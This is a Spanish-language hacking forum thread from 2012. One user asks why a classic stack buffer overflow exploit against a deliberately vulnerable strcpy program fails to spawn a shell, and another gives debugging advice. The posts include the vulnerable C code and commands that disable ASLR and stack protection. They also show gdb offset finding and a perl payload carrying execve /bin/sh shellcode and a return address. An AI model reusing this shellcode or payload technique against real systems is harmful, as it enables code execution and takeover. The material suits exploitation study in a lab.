elhacker.net cabecera Bienvenido(a), Visitante. Por favor Ingresar o Registrarse
¿Perdiste tu email de activación?.

 

 


Tema destacado: Recuerda que debes registrarte en el foro para poder participar (preguntar y responder)


+  Foro de elhacker.net
|-+  Seguridad Informática
| |-+  Hacking
| | |-+  Bugs y Exploits
| | | |-+  solo me falta saber porque no puedo saltar a la shell, que podria hago mal?
0 Usuarios y 1 Visitante están viendo este tema.
Páginas: [1] Ir Abajo Respuesta Imprimir
Autor Tema: solo me falta saber porque no puedo saltar a la shell, que podria hago mal?  (Leído 2,953 veces)
Belial & Grimoire


Desconectado Desconectado

Mensajes: 559


Tea_Madhatter


Ver Perfil
solo me falta saber porque no puedo saltar a la shell, que podria hago mal?
« en: 17 Mayo 2012, 04:16 am »

bueno ya creo logre avanzar pero ahora tengo el problema que no logre hacer funcionar el exploit

les dire los pasos que hago para ver si me pueden ayudar mas facilmente

primero desactivo
Código:
randomize_va_space

Citar
cat /proc/sys/kernel/randomize_va_space
0

compilo el archivo vulnerable de esta manera

Citar
gcc -ggdb --no-stack-protector vuln.c -o vuln

ejecuto gdb y meto la cantidad de "A" que son necesarios

Citar
$(perl -e 'print "A" x 44 . "B" x 4')

Citar
(gdb) i r eip ebp
eip            0x42424242   0x42424242
ebp            0x41414141   0x41414141
(gdb)

lo que quiere decir que si pongo una shell tendria que quedar... "A" = 44 - 25 = 19

Citar
$(perl -e 'print "A" x 19 . "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x89\xe2\x53\x89\xe1\xb0\x0b\xcd\x80" . "B" x 4')

Citar
Program received signal SIGSEGV, Segmentation fault.
0x42424242 in ?? ()
(gdb) i r eip ebp
eip            0x42424242   0x42424242
ebp            0x80cd0bb0   0x80cd0bb0

Aqui es donde tengo que buscar donde esta RET, lo hago de esta manera

Citar
$(perl -e 'print "A" x 19 . "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x89\xe2\x53\x89\xe1\xb0\x0b\xcd\x80" . "B" x 4')

Program received signal SIGSEGV, Segmentation fault.
0x42424242 in ?? ()
(gdb) br overflow
Breakpoint 1 at 0x80483ea: file vuln.c, line 6.
(gdb) r AAA
The program being debugged has been started already.
Start it from the beginning? (y or n) y

Starting program: /home/gazette/ejemplo_profit/exploit_foro/vuln AAA

Breakpoint 1, overflow (badbeef=0xbffff602 "AAA") at vuln.c:6
6      strcpy(buffer, badbeef);
(gdb) x/x buffer
0xbffff380:   0x00000000
(gdb)

al parecer es
Código:
0xbffff380: 0x00000000

pero aqui viene el problema si pongo eso no me aparce ninguna shell, que podria estar mal?

Citar
$(perl -e 'print "\x90" x 19 . "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x89\xe2\x53\x89\xe1\xb0\x0b\xcd\x80" . "\x80\xf3\xff\xbf"')

Program received signal SIGSEGV, Segmentation fault.
0xbffff380 in ?? ()
(gdb) c
Continuing.

Program terminated with signal SIGSEGV, Segmentation fault.
The program no longer exists.
(gdb)


espero me puedan ayudar, abajo les dejo el codigo del archivo vulnerable

salu2

Código
  1. #include <stdio.h>
  2. #include <string.h>
  3.  
  4. void overflow(char *badbeef){
  5. char buffer[32];
  6. strcpy(buffer, badbeef);
  7. }
  8.  
  9. int main(int argc, char *argv[]){
  10. overflow(argv[1]);
  11. return 0;
  12. }
En línea

.                                 
Ivanchuk


Desconectado Desconectado

Mensajes: 469


LLVM


Ver Perfil WWW
Re: solo me falta saber porque no puedo saltar a la shell, que podria hago mal?
« Respuesta #1 en: 17 Mayo 2012, 10:13 am »

Hola Belial,
Probablemente la direccion de buffer haya cambiado porque la command line es differente. Mete un breakpoint en strcpy con la shellcode en la cmdline y fijate la dir de buffer.
En línea

Sólo quien practica lo absurdo puede lograr lo imposible.

Join us @ http://foro.h-sec.org
Belial & Grimoire


Desconectado Desconectado

Mensajes: 559


Tea_Madhatter


Ver Perfil
Re: solo me falta saber porque no puedo saltar a la shell, que podria hago mal?
« Respuesta #2 en: 18 Mayo 2012, 03:24 am »

hola Ivanchunk

pues ya intente ponerle un break a strcpy y no me da nada

tambien me di cuenta que me habia faltado

Código:
-z execstack

pero tampoco es ese el problema, ya no se que mas podria estar saliendo mal, alguna sugerencia?

salu2

------------------------

P.D.

ya estoy intentando con ubuntu 9.04 por si talvez era alguna actualizacion pero estoy teniendo el mismo problema

Código
  1. #include <stdio.h>
  2. #include <stdlib.h>
  3. #include <string.h>
  4.  
  5. int vuln(char *buff){
  6.  
  7. char buffer[36];
  8. strcpy(buffer, buff);
  9. }
  10.  
  11. int main(int argc, char *argv[]){
  12.  
  13. vuln(argv[1]);
  14.  
  15. }
« Última modificación: 18 Mayo 2012, 08:11 am por Belial & Grimoire » En línea

.                                 
Páginas: [1] Ir Arriba Respuesta Imprimir 

Ir a:  

Mensajes similares
Asunto Iniciado por Respuestas Vistas Último mensaje
porque podria no funcionar fopen y fwrite?
PHP
Belial & Grimoire 1 2,734 Último mensaje 30 Agosto 2012, 18:15 pm
por WHK
El programa no puede iniciarse porque falta MSVCP120.dll en el equipo ....
Programación C/C++
WalterBlanco 4 3,218 Último mensaje 15 Octubre 2015, 13:30 pm
por WalterBlanco
No me deja grabar una imagen .iso porque me faltan sólo 44mb, como lo hago?
Windows
victtor77 4 2,561 Último mensaje 3 Febrero 2021, 00:55 am
por EdePC
WAP2 - Aviso Legal - Powered by SMF 1.1.21 | SMF © 2006-2008, Simple Machines